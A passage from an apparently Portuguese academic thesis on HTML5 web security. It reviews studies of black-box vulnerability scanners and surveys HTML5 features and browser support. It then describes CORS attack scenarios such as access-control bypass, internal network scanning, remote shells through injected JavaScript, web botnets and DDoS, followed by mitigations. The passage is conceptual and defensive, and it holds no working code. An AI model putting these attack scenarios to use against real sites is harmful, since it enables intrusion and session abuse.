mente fornecido pelo utilizador que enviou a solicitac¸a˜o. Para evitar CSRF,
deve incluir-se um token imprevis´ıvel num campo oculto como parte de cada
transac¸a˜o, a OWASP recomenda. Deve haver um token u´nico por sessa˜o de
utilizador no mı´nimo, mas tambe´m pode ser u´nico por pedido.
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Cap´ıtulo 5
Trabalhos Relacionados
Diversas entidades acade´micas e privadas teˆm realizado esforc¸os em prol da se-
guranc¸a de aplicac¸o˜es web. O ideal seria identificar um standard de medidas de
seguranc¸a, que pudessem ser adotadas de forma a obter um sistema completamente
seguro. Esse desafio e´ dif´ıcil de alcanc¸ar devido ao constante avanc¸o tecnolo´gico,
e portanto o objetivo comum centra-se na aplicac¸a˜o de esforc¸os que efetivamente
melhorem e minimizem significativamente esses riscos. Este cap´ıtulo apresenta al-
guns desses trabalhos, numa vertente de apresentac¸a˜o de metodologias de detec¸a˜o
de ameac¸as e de identificac¸a˜o de riscos de seguranc¸a intr´ınsecos ao HTML5, ambos
numa perspetiva Black Box.
“Anyone who acquires more than the usual amount of knowledge concerning a
subject is bound to leave it as his contribution to the knowledge of the world.”
(Liberty Hyde Bailey)
5.1 Estado da Arte
Tem sido realizado um trabalho noto´rio quanto a` classificac¸a˜o e avaliac¸a˜o de quais
as ameac¸as de seguranc¸a mais cr´ıticas para as aplicac¸o˜es web. Assim como, se tem
tentado aumentar a efica´cia de detec¸a˜o e a automac¸a˜o dos scanners de seguranc¸a.
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Alguns grupos interessados na seguranc¸a de aplicac¸o˜es web como e´ o caso da
OWASP e WASC, publicaram classificac¸o˜es com as vulnerabilidade web mais co-
muns, no seu Top Ten [OWASP, 2010] e projeto de classificac¸a˜o de ameac¸as
[WASC, 2011] , respetivamente. Adicionalmente a WASC tambe´m publicou um re-
lato´rio com estat´ısticas sobre vulnerabilidades, e dados relativos a taxas de detec¸a˜o
derivados a partir de scanners Black Box automatizados, testes de penetrac¸a˜o
manuais, auditorias de seguranc¸a White Box, entre outras atividades realizadas
[WASC, 2008] .
Citando [Bau et al., 2010] , grande parte da pesquisa acade´mica sobre ferra-
mentas de verificac¸a˜o de seguranc¸a de aplicac¸o˜es web tem sido direcionada para a
ana´lise de co´digo fonte, com o foco na detec¸a˜o de XSS e SQLI atrave´s do fluxo de
informac¸o˜es, ana´lise e verificac¸a˜o de modelos, ou uma combinac¸a˜o de ambas. Os
trabalhos de [Wassermann and Su, 2007] , [Lam et al., 2008] , [Kieyzun et al.,
2009] , [Jovanovic et al., 2006] , e [Huang, 2004] assentam todos nesta categoria.
[Kals et al., 2006] e [McAllister et al., 2008] implementaram scanners de
vulnerabilidades Black Box automatizados, como o pressuposto de detetar vul-
nerabilidades de SQLI e XSS. Os u´ltimos recorrem a interac¸o˜es com o utilizador
para gerar casos de teste mais eficientes visando identificar Reflected XSS e Stored
XSS.
[Maggi et al., 2009] discutem te´cnicas para reduzir os falsos positivos obtidos
na detec¸a˜o automatizada de intruso˜es, que e´ aplica´vel ao scanning Black Box.
Tambe´m surgem va´rios trabalhos relativos ao desenvolvimento de aplicac¸o˜es
web vulnera´veis para aprendizagem e explorac¸a˜o de vulnerabilidades, assim como
para avaliac¸a˜o da capacidade de detec¸a˜o dos scanners Black Box (cujo fim e´ servir
como recurso de teste para um WASS).
Existe um nu´mero significativo de plataformas para aprendizagem e demons-
trac¸a˜o de vulnerabilidades, tais como o WebGoat (dispon´ıvel pela OWASP), Hacme
Bank, AltoroMutual, entre outros que fornecem educac¸a˜o sobre vulnerabilidades
aos programadores [Bau et al., 2010] .
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[Suto, 2010] produziu uma comparac¸a˜o interessante entre sete scanners Black
Box, atrave´s da execuc¸a˜o de testes sobre va´rios sites de demonstrac¸a˜o. [Fonseca
et al., 2007a] avaliaram o desempenho da detec¸a˜o de XSS e SQLI em treˆs aplicac¸o˜es
comerciais atrave´s de me´todos de injec¸a˜o de co´digo [Fonseca et al., 2007b] .
Ale´m disso, o National Institute of Standards and Technology (NIST) e o WASC
publicaram crite´rios de avaliac¸a˜o referentes aos scanners de aplicac¸o˜es web. [Bau
et al., 2010] consultaram essas categorizac¸o˜es pu´blicas e guias de avaliac¸a˜o de
scanners para garantir a abrangeˆncia da sua plataforma de testes.
Os trabalhos que se seguem exibem uma ana´lise sobre os scanners relativamente
a` sua capacidade de detec¸a˜o, performance, ao seu funcionamento e ainda da˜o
detalhes sobre quais as limitac¸o˜es identificadas.
[Bau et al., 2010] estudaram oito scanners Black Box com o objetivo de avaliar
a sua efica´cia de detec¸a˜o de vulnerabilidades. Essa pesquisa demonstrou que o
XSS, SQL Injection e Information Disclosure sa˜o as classes de vulnerabilidades
mais prevalecentes. Comparativamente a outros estudos comprova-se mais uma
vez que o scanner conseguiu injetar co´digo XSS, mas falha posteriormente na sua
identificac¸a˜o como Stored XSS. Indicando assim que as taxas de detec¸a˜o podem
ser melhoradas atrave´s de uma melhor compreensa˜o do modelo da base de dados
da aplicac¸a˜o. Como sugesta˜o sugere-se adicionar um segundo n´ıvel de login ao
scanner a fim de observar as vulnerabilidades armazenadas, e melhorar a detec¸a˜o
apo´s a passagem da injec¸a˜o inicial.
Mais recentemente, [Doupe´ et al., 2010] avaliaram onze BB-WASS, e confirmou-
se o fraco desempenho dos BB-WASS quando confrontados com Stored SQL In-
jection. Devido ao facto do seu testbed personalizado, WackoPicko [doupe, 2010]
, ter sido projetado para testar tanto a capacidade de detec¸a˜o de vulnerabilidades
do scanner como o seu desempenho, o scanner analisado teria de obter sucesso em
treˆs ou mais desafios diferentes, a fim de detetar a vulnerabilidade de Stored SQL
Injection.
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[McAllister et al., 2008] provou que os mecanismos de fuzzing guiados e dinaˆmicos
podem melhorar o desempenho de um scanner relativamente a Stored XSS. Tambe´m
explicou a limitac¸a˜o dos scanners, relacionando isso com a sua capacidade de ge-
rar pedidos suficientes para se chegar aos pontos de entrada com vulnerabilidades,
e a` sua capacidade de injetar entradas mal-formadas. Os autores, pore´m, na˜o
testaram a sua ferramenta contra Stored SQL Injection.
Analogamente, outros relato´rios [Doupe´ et al., 2010] mostraram que os BB-
WASS sa˜o capazes de detetar Stored XSS, mas na˜o Stored SQL Injection. A
correlac¸a˜o entre os mecanismos de detec¸a˜o de Stored XSS e de Stored SQL Injec-
tion ainda e´ uma a´rea amb´ıgua e uma potencial a´rea de pesquisa.
[Khoury et al., 2011] menciona que a detec¸a˜o de Stored SQL Injection, e´ das
vulnerabilidades mais cr´ıticas de se encontrar em aplicac¸o˜es web, sendo um grande
desafio para os Black Box scanners. Neste trabalho, sa˜o avaliados treˆs estados de
arte de scanners Black Box que suportam a detec¸a˜o de vulnerabilidades de Stored
SQL Injection. Foi desenvolvido um testbed pro´prio ”MatchIt”personalizado que
desafia a capacidade dos scanners relativamente a Stored SQL Injection. Os re-
sultados demonstram que as vulnerabilidades existentes na˜o sa˜o detetadas mesmo
quando os scanners sa˜o ensinados a explorar a vulnerabilidade. Identificando que
as fraquezas dos Black Box scanners residem em a´reas como, crawling, selec¸a˜o
do co´digo de ataque, login do utilizador, ana´lise das respostas do servidor, ma´
categorizac¸a˜o dos resultados, e relativamente a` pro´pria funcionalidade. Devido a`
baixa taxa de detec¸a˜o, sa˜o discutidas e propostas um conjunto de recomendac¸o˜es
que poderiam aumentar a taxa de detec¸a˜o de vulnerabilidades de Stored SQL
Injection.
[Fonseca et al., 2007b] apresentam uma abordagem para avaliar e comparar
os scanners de vulnerabilidades de aplicac¸o˜es web. Essa abordagem baseia-se na
injec¸a˜o de falhas de Software realistas em aplicac¸o˜es web, a fim de comparar a
eficieˆncia dos diferentes scanners na detec¸a˜o de poss´ıveis vulnerabilidades causa-
das pelos bugs injetados. No estudo foram avaliados os treˆs principais scanners de
vulnerabilidades de aplicac¸o˜es web, e os resultados demonstraram que os diferentes
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scanners produziram resultados bastante diferentes e todos eles apresentaram uma
percentagem considera´vel de vulnerabilidades na˜o detetadas. A percentagem de
falsos positivos e´ muito alta, variando entre 20% e 77% nas experieˆncias executa-
das. Os resultados tambe´m demonstram que a proposta de avaliac¸a˜o apresentada
permite uma comparac¸a˜o fa´cil da cobertura e dos falsos positivos dos scanners
de vulnerabilidades web. Tambe´m e´ apontado que para algumas aplicac¸o˜es web
cr´ıticas, devem ser utilizados os va´rios scanners e uma varredura a` ma˜o na˜o deve
ser descartada do processo. Pretendiam ainda avaliar diferentes configurac¸o˜es do
mesmo scanner e um estudo associando os scanners de forma cobrir uma ampla
gama de vulnerabilidades de XSS e de injec¸a˜o de SQL.
O facto do HTML5 ser um standard aplicacional e como apenas se preveˆ estar
conclu´ıda a sua especificac¸a˜o ate´ 2014, isto origina a realizac¸a˜o de va´rios trabalhos
quanto a` explorac¸a˜o de potenciais vulnerabilidades do HTML5. Neste sentido
descrevem-se alguns dos esforc¸os entretanto realizados relativamente a` seguranc¸a
do HTML5.
[Erkkila, 2012] realizou um estudo onde apresenta uma visa˜o geral sobre o
protocolo Web Socket e a sua API, e onde descreve as suas vantagens. Mas o
principal contributo centra-se na ana´lise dos conceitos de seguranc¸a relacionados
com os Web Sockets, onde discute as poss´ıveis soluc¸o˜es e disponibiliza as melhores
pra´ticas para o desenvolvimento de servic¸os Web Socket. Tambe´m propo˜e que
certas funcionalidades sejam implementadas nos browsers para assegurar a segu-
ranc¸a e privacidade dos utilizadores. Existem va´rias questo˜es de seguranc¸a, mas
com uma implementac¸a˜o adequada dos browsers e servic¸os, o n´ıvel de risco pode
ser atenuado. No entanto, da mesma forma que os servic¸os WebSocket podem ser
seguros, tambe´m podem ser utilizados para propo´sitos maliciosos.
[Kimak et al., 2012] investigaram potenciais vulnerabilidades, relacionadas
com o armazenamento local de informac¸a˜o privada recorrendo ao IndexedDB do
HTML5, e propuseram frameworks de seguranc¸a para os ficheiros IndexedDB, a
fim de uma poss´ıvel inclusa˜o como parte da seguranc¸a do browser.
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[Michael Schmidt, 2011] realizou um trabalho muito relevante onde engloba
as principais questo˜es de seguranc¸a associadas aos principais recursos do HTML5.
Este estudo apresenta uma ana´lise muito rebuscada sobre as falhas de seguranc¸a
do HTML5, onde descreve poss´ıveis vulnerabilidades e ataques, assim como sugere
me´todos para atenuar esses riscos.
Citando [Huang et al., 2010] , os ataques de Cross-origin CSS utilizam a
importac¸a˜o de style sheets para roubar informac¸a˜o confidencial, hijacking a sessa˜o
de autenticac¸a˜o do utilizador, em suma as defesas existentes nos browsers contra
XSS sa˜o ineficientes. No seu estudo demonstram como aplicar esses ataques em
qualquer browser, mesmo com o JS desativado, e propo˜em uma defesa do lado do
cliente com pouco ou nenhum impacto na maioria das aplicac¸o˜es web. A proposta
de defesa foi implementada e aplicada ao Firefox, Google Chrome, Safari e Opera.
A OWASP possui um Guide Project que apresenta quais as questo˜es a ter
em atenc¸a˜o durante o desenvolvimento de aplicac¸o˜es. De igual modo tambe´m
apresenta guidelines para prevenir falhas de seguranc¸a HTML5.
[Trivero, 2008] analisa alguns dos riscos de seguranc¸a da nova tecnologia client-
side storage do HTML5. Demonstra como alguns ataques podem ser conduzidos, e
apresenta algumas scripts que simplificam esses ataques, de forma a roubar dados
armazenados no cliente.
[Hodges, 2012] apresenta algumas das novas funcionalidades do HTML5 e para
cada uma delas identifica qual o seu impacto e implicac¸o˜es de seguranc¸a, onde
menciona tambe´m algumas das medidas a ter em considerac¸a˜o para atenuar esses
riscos, entre os quais alguns exemplos.
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Cap´ıtulo 6
Questo˜es de Seguranc¸a
Intr´ınsecas ao HTML5
Este cap´ıtulo finda descrever quais os riscos de seguranc¸a embutidos na ma´ uti-
lizac¸a˜o dos recursos do HTML5. Assim como, enumerar algumas da medidas de
seguranc¸a a adotar no desenvolvimento de uma aplicac¸a˜o web.
“The computer was born to solve problems that did not exist before.”
(Bill Gates)
6.1 Introduc¸a˜o
O HTML5 proporciona um novo conjunto de recursos e funcionalidades, que per-
mitem aos programadores criar aplicac¸o˜es robustas e atraentes. Todavia, a nova
tecnologia levanta sempre novos desafios de seguranc¸a e vulnerabilidades. Por
isso, o HTML5, apesar de muito promissor, na˜o e´ diferente. Ha´ preocupac¸o˜es de
seguranc¸a que precisam ser abordadas durante o desenvolvimento de aplicac¸o˜es
web. Isto acontece porque as novas funcionalidades originam formas inovadoras
de os atacantes projetarem novos ataques.
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Portanto ao longo deste cap´ıtulo, sera˜o identificadas quais as poss´ıveis ameac¸as
e pontos problema´ticos associados ao HTML5. Nomeadamente, a apresentac¸a˜o de
riscos e vulnerabilidades de seguranc¸a.
6.2 Novas Funcionalidades do HTML5
O HMTL5 e´ uma tentativa de definir uma u´nica markup language que pode ser
escrita tanto na sintaxe HTML como XHTML. Muitos dos recursos do HTML5
foram constru´ıdos no sentido de serem capazes de correr em dispositivos de baixa
poteˆncia, como smartphones e tablets.
O HTML5 adicionou va´rias funcionalidades novas, entre as quais se descrevem
alguns exemplos [W3C, 2013; Wikipedia, 2013] :
• Novas regras de parsing : A sintaxe do HTML5 ja´ na˜o se baseia no SGML
e surge com uma nova linha introduto´ria <!DOCTYPE html>. Capacidade
de utilizar SVG e MathML em linhas text/html.
• Novos Elementos: foram introduzidos novos elementos (e.g. article, aside,
audio, canvas, command, embed, figure, footer, header, keygen, meter, nav,
section, source, video).
• Novos Atributos: foram introduzidos novos atributos em elementos ja´ exis-
tentes (e.g. sandbox (no iframe), manifest (no html), async (no script)).
• Elementos Modificados: alterac¸a˜o do significado de alguns elementos (e.g.
address, menu, script, small).
• Atributos Modificados: alterac¸a˜o de alguns atributos em va´rios sentidos (e.g.
action, border, data, href, id, medis)
• Elementos Obsoletos: remoc¸a˜o de alguns elementos (e.g. frame, noframe,
dir, isindex acronym, applet, center)
• Atributos Obsoletos:remoc¸a˜o de alguns atributos a elementos (e.g. scheme
(em meta), frame (em table), border (em object))
Introduziu novas APIs [W3C, 2013] :
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• Cross-Origin Resource Sharing: permite realizar pedidos AJAX atrave´s
do domı´nio, a partir de domı´nios estrangeiros.
• Oﬄine Web Application: permite que as aplicac¸o˜es web trabalhem em
modo oﬄine, guardando a informac¸a˜o mais relevante em cache.
• Custom Scheme and Content Handlers: permite a`s aplicac¸o˜es registar
certos protocolos ou tipos de conteu´do.
• Drag and Drop: oferece a operac¸a˜o de arrastar e largar um objeto.
• Entre outras APIs, ver [W3C, 2013] .
A WHATWG tem mais APIs que na˜o esta˜o na especificac¸a˜o do HTML5 da
W3C, e que correspondem a especificac¸o˜es separadas:
• Microdata: um mecanismo que permite embeber dados leg´ıveis por ma-
quina em documentos HTML, de uma maneira fa´cil de escrever. E´ com-
pat´ıvel com va´rios formatos de dados, incluindo RDF e JSON.
• Canvas: para renderizac¸a˜o de gra´ficos bitmap 2D de modo imediato.
• Web Messaging: mecanismo de comunicac¸a˜o (i.e. troca de mensagens)
entre diferentes contextos em documentos HTML.
• Web Workers: permite executar scripts em paralelo e em background.
• Web Storage: para armazenar dados do lado do cliente.
• Web Sockets: permite estabelecer uma conexa˜o bidirecional entre o cliente
e o servidor Web Socket.
• Server-Sent Events: oferece aos servidores a capacidade de enviar dados
para as pa´ginas Web atrave´s de HTTP ou atrave´s de protocolos server-push
dedicados.
• Geolocation: permite determinar a localizac¸a˜o do UA.
Estendeu, modificou e removeu algumas APIs existentes [W3C, 2013] :
• Alterac¸a˜o em va´rios sentidos das APIs do DOM, n´ıvel 2 do HTML.
• Foram realizadas extenso˜es ao Document, HTMLElement, entre outras in-
terfaces do DOM.
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• Algumas APIS foram removidas ou marcadas como obsoletas, (e.g. HTM-
LAppletElement, HTMLFrameSetElement, HTMLFrameElement, HTMLBodyE-
lement).
Em Julho de 2012 a WHATWG e W3C decidiram separar-se. A W3C conti-
nuou com o seu trabalho de especificac¸a˜o do HTML5, focados na definic¸a˜o de um
u´nico standard. Enquanto a WHATWG continuou o seu trabalho sobre o HTML5
como um ”Living Standard”(i.e. nunca esta´ completo, esta´ constantemente a ser
atualizado e melhorado). Isto e´, podem ser adicionadas novas funcionalidades mas
na˜o podem ser removidas [Wikipedia, 2013] . A figura 6.1 ilustra precisamente
algumas das especificac¸o˜es consideradas por cada organizac¸a˜o, assim como o seu
futuro, salvo algumas propostas externas. As especificac¸o˜es da W3C sa˜o de igual
forma consideradas pela WHATWG.
Figura 6.1: Tecnologias relacionadas com o HTML5 [Wikipedia, 2013] .
6.3 Suporte dos Browsers para HTML5
A especificac¸a˜o do HTML5 ainda se encontra em desenvolvimento, na˜o correspon-
dendo ainda a um padra˜o oficial. Por essa raza˜o os browsers ainda na˜o teˆm todo
o suporte dispon´ıvel, e por isso va˜o aplicando esforc¸os no sentido de implementar
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o maior nu´mero de funcionalidades. Neste aˆmbito apenas interessa observar o su-
porte HTML5 para os principais browsers Desktop (i.e. Firefox, Chrome, Safari,
Internet Explorer (IE), Opera), pois no geral qualquer utilizador usa pelo menos
um destes.
A Tabela 6.1 apresenta precisamente o suporte dado pelos principais browsers,
no sentido de saber quais dos UAs podem ser utilizados para realizar determinado
tipo de ataque ou teste de seguranc¸a, destinado a uma funcionalidade especifica.
Para obter mais informac¸a˜o sobre todos esses elementos, consultar [Deveria, 2012;
ref, 2012] .
Novas Funci-
onalidades do
HTML5
Firefox 24 Chrome
Canary
Safari 7 IE 11 Opera 16
Parsing rules Sim 4 Sim 4 Sim 4 Sim 4 Sim 4
Canvas Sim 4 Sim 4 Sim 4 Sim 4 Sim 4
Audio/Video Parcial m Parcial m Parcial m Parcial m Parcial m
New or Modified
Elements
Parcial m Parcial m Parcial m Parcial m Parcial m
Drag and Drop Parcial m Sim 4 Sim 4 Parcial m Sim 4
Microdata Sim 4 Na˜o 8 Na˜o 8 Na˜o 8 Na˜o 8
Web Application
App Cache Sim 4 Sim 4 Sim 4 Sim 4 Sim 4
Cust. Scheme &
Cont. Handlers
Sim 4 Na˜o 8 Na˜o 8 Na˜o 8 Na˜o 8
Geolocation Sim 4 Sim 4 Na˜o 8 Sim 4 Sim 4
Communications
Cross-Document
Messaging
Sim 4 Sim 4 Sim 4 Sim 4 Sim 4
Server-Sent
Events
Sim 4 Sim 4 Sim 4 Na˜o 8 Sim 4
Web Sockets Sim 4 Sim 4 Sim 4 Sim 4 Sim 4
File APIs Parcial m Sim 4 Parcial m Parcial m Sim 4
Web Storage Sim 4 Sim 4 Parcial m Sim 4 Sim 4
Web Workers Parcial m Sim 4 Parcial m Parcial m Sim 4
Notifications Sim 4 Sim 4 Sim 4 Na˜o 8 Na˜o 8
Tabela 6.1: Suporte HTML5 pelos principais browsers baseado num teste
realizado por Niels Leenheer [Leenheer, 2012] .
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Ambos os browsers possuem um bom suporte para as funcionalidades do HTML5,
como se pode ver na Figura 6.2, proveniente do estudo HTML5test.com.
Figura 6.2: Melhoria constante do suporte dos browsers [Leenheer, 2012] .
6.4 Riscos de Seguranc¸a do HTML5
Como consequeˆncia das va´rias alterac¸o˜es tecnolo´gicas do HTML surgem algumas
questo˜es de seguranc¸a, tal como foi mencionado na secc¸a˜o 6.1. Nesse sentido,
cada uma das secc¸o˜es abaixo descreve os aspetos de seguranc¸a que determinada
funcionalidade do HTML5 acarreta quando utilizada indevidamente. Para ale´m
da descric¸a˜o das vulnerabilidades associadas, cada subsecc¸a˜o tambe´m indica quais
os pontos a ter em considerac¸a˜o para uma implementac¸a˜o mais segura por parte
dos programadores.
6.4.1 Cross-Origin Resource Sharing
Os pedidos HTTP realizados a partir de scripts provenientes de um site esta˜o su-
jeitos a restric¸o˜es de seguranc¸a, devido a razo˜es de seguranc¸a bem conhecidas. Por
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exemplo, os pedidos XMLHttpRequest esta˜o sujeitos a` Same Origin Policy (SOP).
Isso significa que uma aplicac¸a˜o web que comunica via pedidos XMLHttpRequest
apenas pode enviar pedidos HTTP ao pro´prio domı´nio que deu origem a` script e
na˜o a outros domı´nios.
O Cross-Origin Resource Sharing (CORS) e´ um mecanismo que permite a`s
aplicac¸o˜es web ultrapassar a SOP dos browsers. Ou seja, permite que o JS de uma
pa´gina web possa invocar pedidos XMLHttpRequest diretamente a outro domı´nio,
diferente do domı´nio que deu origem ao JS. Desta forma, deixa de ser necessa´rio
o routing de resultados (tambe´m designado de ”Server-Side Proxying”) entre o
servidor e os domı´nios estrangeiros 1, pois os pedidos realizados pelo UA passam
a ser enviados diretamente aos servidores estrangeiros em vez de serem enviados
ao servidor da aplicac¸a˜o.
Este mecanismo simplifica tanto o desenvolvimento das aplicac¸o˜es como ainda
aumenta a sua performance. Essa simplificac¸a˜o e ganho de performance surge
com o acesso direto aos recursos, e com a remoc¸a˜o da lo´gica aplicacional adicional
no servidor, encarregue por receber os pedidos XMLHttpRequest e os enviar aos
respetivos domı´nios estrangeiros, assim como por enviar os resultados ao UA.
Atualmente, com o HTML5 e´ poss´ıvel enviar “XMLHttpRequests” atrave´s de di-
ferentes domı´nios, caso o domı´nio em causa possua a propriedade ”Access-Control-
Allow-Origin”definida no cabec¸alho HTTP da resposta. Esta nova propriedade
autoriza o acesso aos recursos via pedidos “XMLHttpRequest” provenientes de
domı´nios estrangeiros. Assim as aplicac¸o˜es web constitu´ıdas por diferentes partes
provenientes de diferentes origens, podem enviar diretamente os seus pedidos para
os respetivos domı´nios estrangeiros [Michael Schmidt, 2011] .
A decisa˜o que determina se o JS pode ou na˜o aceder a domı´nios estrangeiros
usando “XMLHttpRequests” e´ tomada no UA. Por sua vez, o servidor e´ o res-
ponsa´vel por definir no cabec¸alho das respostas HTTP quais os domı´nios que teˆm
permisso˜es para acesso atrave´s da origem. Em contrapartida, caso o cabec¸alho na˜o
defina os domı´nios que tem permisso˜es de acesso ou na˜o tenha esta propriedade
1Representa todos os domı´nios que na˜o perfazem o domı´nio de origem em causa.
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definida, o UA na˜o permite que a resposta seja acess´ıvel [Michael Schmidt, 2011]
.
Exemplo do cabec¸alho de uma resposta HTTP (gerara pelo servidor exter-
nal.html5vuln.com) com a propriedade de controlo de acesso CORS definida:
Figura 6.3: Resposta HTTP com o cabec¸alho “Access-Control-Allow-Origin”
definido como http://html5vuln.com.
O conteu´do ilustrado na Figura 6.3 demostra que o cabec¸alho “Access-Control-
Allow-Origin” esta´ definido como html5vuln.com, o que significa que apenas uma
aplicac¸a˜o Web com a origem html5vuln.com tem permissa˜o para aceder a ex-
ternal.html5vuln.com utilizando “XMLHttpRequests”. Como o atributo “Access-
Control-Allow-Credentials” esta´ definido como ”true”permite que os Cookies sejam
transmitidos.
6.4.1.1 Riscos de Seguranc¸a
O principal problema de seguranc¸a inerente ao CORS reside no facto dos pedidos
“XMLHttpRequest” na˜o necessitarem de permissa˜o por parte do utilizador para
executarem as suas func¸o˜es. Isto leva a que possam ser efetuados pedidos entre
domı´nios sem o consentimento do utilizador. Esta simplificac¸a˜o do controlo de
acesso, permite que sejam realizados pedidos no contexto da v´ıtima, o que implica
a gesta˜o de uma sessa˜o segura mais complicada, ate´ porque pode ser uma sessa˜o
autenticada. A confidencialidade do utilizador tambe´m pode ser comprometida,
quer por acesso direto a recursos atrave´s do contorno do controlo de acesso, ou
indiretamente atrave´s do acesso a dados confidenciais atrave´s do abuso de sesso˜es.
Como os dados carregados a partir de domı´nios estrangeiros, pelo UA, na˜o
podem ser validados pelo pro´prio domı´nio de origem, estes devem ser considerados
na˜o confia´veis, e portanto devem ser validados do lado do cliente. Este requisito
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de seguranc¸a de validac¸a˜o de dados tambe´m e´ preocupante para os Web Sockets
(ver secc¸a˜o 6.4.5.2) e para o Web Messaging (ver secc¸a˜o 6.4.3.2) e, e´ portanto
abrangido apenas uma vez na secc¸a˜o 6.4.4.1.
Um outro aspeto preocupante e´ um poss´ıvel efeito de acesso a recursos em
cascata, o qual pode surgir com a utilizac¸a˜o do CORS devido a` origem dos dados
na˜o estar limitada ao servidor de origem. Mais especificamente pode ser poss´ıvel
atrave´s de um domı´nio A, aceder aos dados de um domı´nio C ao qual o domı´nio A
na˜o tem acesso, caso exista um poss´ıvel domı´nio B que tenha permisso˜es de acesso
a C e que deˆ permisso˜es a A.
Como resultado o CORS origina os seguintes cena´rios de ataque [Michael Sch-
midt, 2011; Philippe De Ryck and Piessens, 2011; McArdle, 2011] :
E Ultrapassar o Controlo de Acesso: Caso uma aplicac¸a˜o Web possua
o cabec¸alho Access-Control-Allow-Origin definido de forma errada, ou caso
baseie as deciso˜es de controlo de acesso em suposic¸o˜es erradas, o acesso a
sites internos a partir da Internet pode ser poss´ıvel. Uma ameac¸a seme-
lhante ja´ existe no HTML 4.01 conhecida como Cross-Site-Request-Forgery
(CSRF), mas atrave´s do CORS essa ameac¸a ganha um maior potencial e
sem a necessidade de interac¸a˜o do utilizador.
E Ataque remoto a um servidor web: A funcionalidade CORS tambe´m
pode ser utilizada para atacar remotamente um servidor web atrave´s do UA
de qualquer utilizador, partindo do principio que os utilizadores acederam a
um site malicioso. Acesso esse que despoleta o envio dos pedidos do atacante
para o respetivo servidor, e um consequente envio dos resultados ao atacante.
Isso traduz-se na manipulac¸a˜o de uma sessa˜o segura, pelo facto do atacante
abusar da sessa˜o de terceiros para fins maliciosos.
E Recolha de Informac¸a˜o: E´ poss´ıvel realizar o scanning de uma rede in-
terna de forma a determinar a existeˆncia de nomes de domı´nios, com base
no tempo de resposta dos pedidos XMLHttpRequest (ver Apeˆndice B.1.1).
E Estabelecimento de uma Shell remota: Se um atacante conseguir in-
jectar co´digo JS numa aplicac¸a˜o web, enta˜o pode conseguir estabelecer uma
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shell remota. Isto e´, o atacante estabelece uma conexa˜o com o UA da vitima
e passa a utiliza-lo como ”proxy”(ver Apeˆndice B.1.2).
E Botnet baseado na web: E´ poss´ıvel criar um botnet baseado na web
atrave´s do CORS e de outras funcionalidades do HTML5. Portanto, esta
ameac¸a e´ coberta apenas uma vez na secc¸a˜o 6.4.6.1, pois apenas a tecnolo-
gia utilizada para o estabelecimento do botnet e´ que muda, mas a ameac¸a
continua a mesma.
E Ataque DDoS com CORS e Web Workers: E´ poss´ıvel executar um
ataque DDoS combinando o CORS com os Web Workers. Os Web Workers
e os detalhes para este cena´rio de ataque sa˜o descritos na secc¸a˜o 6.5.1.
6.4.1.2 Atenuac¸a˜o
Na˜o e´ poss´ıvel atenuar todas as ameac¸as descritas na secc¸a˜o anterior apenas com
uma implementac¸a˜o segura do lado do servidor. Apenas e´ poss´ıvel atenuar a
ameac¸a de Ultrapassar o Controlo de Acesso seguindo as seguintes regras, e ape-
nas e´ poss´ıvel atenuar um Ataque DDoS recorrendo a um mecanismo de detec¸a˜o:
3 Restringir todos os domı´nios permitidos, definindo o Access-Control-Allow-
Origin no cabec¸alho apenas com os URLs autorizados inve´s de definir o valor
como *;
3 Na˜o basear a decisa˜o de controlo de acesso no cabec¸alho de origem, pois este
pode ser modificado por um atacante, atrave´s do envio de um cabec¸alho de
origem falso (ver secc¸a˜o A.1);
3 Na˜o ter muitas pa´ginas/recursos expostos ao CORS;
3 Retornar informac¸a˜o especifica do utilizador apenas para CORS com cre-
denciais va´lidas;
3 Validar os pedidos CORS mesmo para sites confia´veis;
3 Na˜o armazenar respostas de comprovac¸a˜o por muito tempo;
3 Na˜o processar CORS desonestos.
Para ale´m disso tambe´m e´ poss´ıvel atenuar um ataque DDoS, tornando-o de-
tecta´vel:
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3 Usando uma Web Application Firewall (WAF) que bloqueie os pedidos CORS
caso estes cheguem com alta frequeˆncia. Torna-se fa´cil identificar esses pe-
didos com base no cabec¸alho de origem que e´ enviado no pedido CORS.
As restantes ameac¸as na˜o podem ser completamente atenuadas simplesmente
com uma implementac¸a˜o segura e, por isso, precisam ser aceites ou atenuadas
atrave´s de outros servic¸os de seguranc¸a.
Um outro ponto que tambe´m requer especial atenc¸a˜o, corresponde a` possibili-
dade de ataques de injec¸a˜o de co´digo no cabec¸alho, ver secc¸a˜o 7.3.1.
6.4.2 Web Storage e Indexed Database
Previamente ao HTML5 apenas era poss´ıvel que as aplicac¸o˜es web armazenassem
dados do lado do cliente recorrendo a Cookies. Este me´todo tem duas grandes
desvantagens, o facto dos Cookies serem transferidos em cada pedido e pelo tama-
nho ser limitado (4K por Cookie / 20 Cookies por domı´nio). Para contornar esta
restric¸a˜o e para possibilitar aplicac¸o˜es web oﬄine, o HTML5 introduziu uma nova
funcionalidade para armazenamento local designada Web Storage. O Web Sto-
rage oferece a possibilidade de armazenar dados no computador do utilizador para
posterior acesso atrave´s de JS. Este recurso oferece uma grande flexibilidade no
lado do cliente, podendo os atributos ser acedidos em qualquer lugar na aplicac¸a˜o.
O espac¸o de armazenamento local disponibilizado depende da implementac¸a˜o do
browser, mas recomenda-se 5M por domı´nio [Michael Schmidt, 2011; Philippe
De Ryck and Piessens, 2011; McArdle, 2011] .
Diferenc¸as entre a Web Storage e os Cookies:
Web Storage
• Os valores da Web Storage na˜o sa˜o enviados para o servidor em cada soli-
citac¸a˜o.
• Os atributos Web Storage na˜o possuem uma restric¸a˜o temporal (excepto, a
Session Storage).
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• Os atributos Web Storage esta˜o separados pela SOP, portanto os valores
armazenados atrave´s de uma conexa˜o HTTP na˜o podem ser acedidos por
uma conexa˜o HTTPS e vice-versa.
Cookies
• Os Cookies sa˜o enviados para o servidor em cada solicitac¸a˜o.
• Teˆm uma data de expirac¸a˜o.
• Em contrapartida um Cookie definido numa conexa˜o HTTP pode ser enviado
atrave´s de uma conexa˜o HTTPS, desde que o nome de domı´nio seja o mesmo.
A especificac¸a˜o 2 do HTML5 define os seguintes tipos de Web Storage:
• Local Storage: Permite armazenar qualquer valor de texto no browser. Os
itens sa˜o compostos pelo par nome-valor, e sa˜o acedidos pelo nome. Os dados
permanecem neste armazenamento ate´ que sejam exclu´ıdos explicitamente,
quer pelo utilizador ou pela aplicac¸a˜o web. Quando o UA e´ fechado ou a
sessa˜o e´ terminada esses dados na˜o sa˜o exclu´ıdos. Como o acesso aos dados
esta´ protegido pela SOP, a aplicac¸a˜o apenas tem permissa˜o de acesso aos
pro´prios objetos de armazenamento local.
